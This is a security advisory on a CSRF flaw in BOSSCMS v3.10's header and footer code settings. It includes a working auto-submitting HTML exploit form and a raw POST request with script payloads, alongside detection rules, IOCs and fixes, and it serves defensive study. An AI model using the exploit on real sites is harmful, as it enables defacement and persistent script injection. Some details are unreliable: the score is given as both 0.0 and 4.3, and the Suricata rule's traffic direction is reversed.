CVE-2024-31613

Executive Summary

CVE-2024-31613 is a Cross-Site Request Forgery (CSRF) vulnerability identified in BOSSCMS v3.10. The flaw resides in the name="head_code" and name="foot_code" parameters, allowing an attacker to craft a malicious request that, when executed by an authenticated administrator, can modify the site's header or footer code. This can lead to persistent XSS, defacement, or injection of malicious scripts. The vulnerability has a CVSS score of 0.0 (pending official scoring) but is assessed as medium severity due to the requirement for user interaction. No official patch is available, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application issue in BOSSCMS. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a crafted link)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (code modification)
• Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to trick an admin, but the impact allows persistent code injection.

Deep Dive & Mechanics

The vulnerability exists in BOSSCMS v3.10's administrative panel, specifically in the settings page where head_code and foot_code fields are used to inject custom HTML/JavaScript into the site's header and footer. The application does not implement CSRF tokens or other anti-forgery mechanisms for these fields. An attacker can craft a malicious HTML page containing a form that auto-submits a POST request to the vulnerable endpoint:

POST /admin/settings.php
Content-Type: application/x-www-form-urlencoded

head_code=<script>alert('XSS')</script>&foot_code=<script>alert('XSS')</script>&save=1

When an authenticated admin visits the attacker's page, the form submits the request, modifying the site's code. This can be used to inject persistent XSS, deface the site, or redirect users to malicious domains.

Vulnerable vs. Patched Code

Vulnerable Code (BOSSCMS v3.10):

// admin/settings.php (simplified)
if ($_POST['save']) {
    $head_code = $_POST['head_code'];
    $foot_code = $_POST['foot_code'];
    // No CSRF check
    update_option('head_code', $head_code);
    update_option('foot_code', $foot_code);
}

Patched Code (Hypothetical):

// admin/settings.php (patched)
session_start();
if ($_POST['save']) {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $head_code = htmlspecialchars($_POST['head_code'], ENT_QUOTES, 'UTF-8');
    $foot_code = htmlspecialchars($_POST['foot_code'], ENT_QUOTES, 'UTF-8');
    update_option('head_code', $head_code);
    update_option('foot_code', $foot_code);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of BOSSCMS v3.10 with admin credentials.
• A web server to host the malicious CSRF page.

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html) with the following content:

<html>
<body>
<form id="csrf" action="http://target/admin/settings.php" method="POST">
    <input type="hidden" name="head_code" value="<script>alert('CSRF')</script>">
    <input type="hidden" name="foot_code" value="<script>alert('CSRF')</script>">
    <input type="hidden" name="save" value="1">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to an authenticated admin (e.g., via email or social engineering).
4. Once the admin visits the link, the form auto-submits, injecting the malicious code.

Expected Outcome: The site's header/footer now contains the injected script, executing in the context of any visitor.

Blue Team

Detection Steps:

1. Monitor for unexpected changes to head_code and foot_code in the database.
2. Review server logs for POST requests to /admin/settings.php from unusual referrers.
3. Implement CSRF tokens in all admin forms.
4. Validate and sanitize all input fields, especially those allowing HTML/JavaScript.

Lab Setup:

• Use a local Docker container with BOSSCMS v3.10.
• Simulate the attack using a separate browser session.
• Monitor network traffic with Wireshark or Burp Suite.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/settings.php with parameters head_code or foot_code containing script tags.
  • Referrer headers from external domains not associated with the CMS.
• File IOCs:
  • Modified database entries for head_code or foot_code containing <script> tags.
• Behavioral IOCs:
  • Unexpected JavaScript alerts or redirects on the site.
  • Unauthorized changes to site appearance or functionality.

Detection Engineering

YARA Rule

rule CVE_2024_31613_CSRF {
    meta:
        description = "Detects CSRF exploit attempts against BOSSCMS v3.10"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31613"
    strings:
        $csrf_form = "head_code" ascii nocase
        $csrf_form2 = "foot_code" ascii nocase
        $script_tag = "<script" ascii nocase
    condition:
        all of ($csrf_form*) and $script_tag
}

Sigma Rule

title: CVE-2024-31613 CSRF Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to BOSSCMS admin settings with script injection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/admin/settings.php"
        cs-uri-query|contains|all:
            - "head_code"
            - "foot_code"
    condition: selection
falsepositives:
    - Legitimate admin updates (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-31613 BOSSCMS CSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/settings.php"; http_uri;
    content:"head_code"; http_client_body;
    content:"foot_code"; http_client_body;
    content:"<script"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable feature: Remove or comment out the head_code and foot_code fields in the admin panel until a patch is available.
2. Implement CSRF tokens: Add a unique, per-session token to all admin forms and validate it on submission.
3. Input sanitization: Use htmlspecialchars() or similar functions to escape HTML/JavaScript in user input.
4. Restrict admin access: Limit admin panel access to trusted IPs or use VPN.

Long-Term Fix:

• Upgrade to a patched version of BOSSCMS if released.
• Consider migrating to a more actively maintained CMS.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing <script> in POST parameters to /admin/settings.php.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert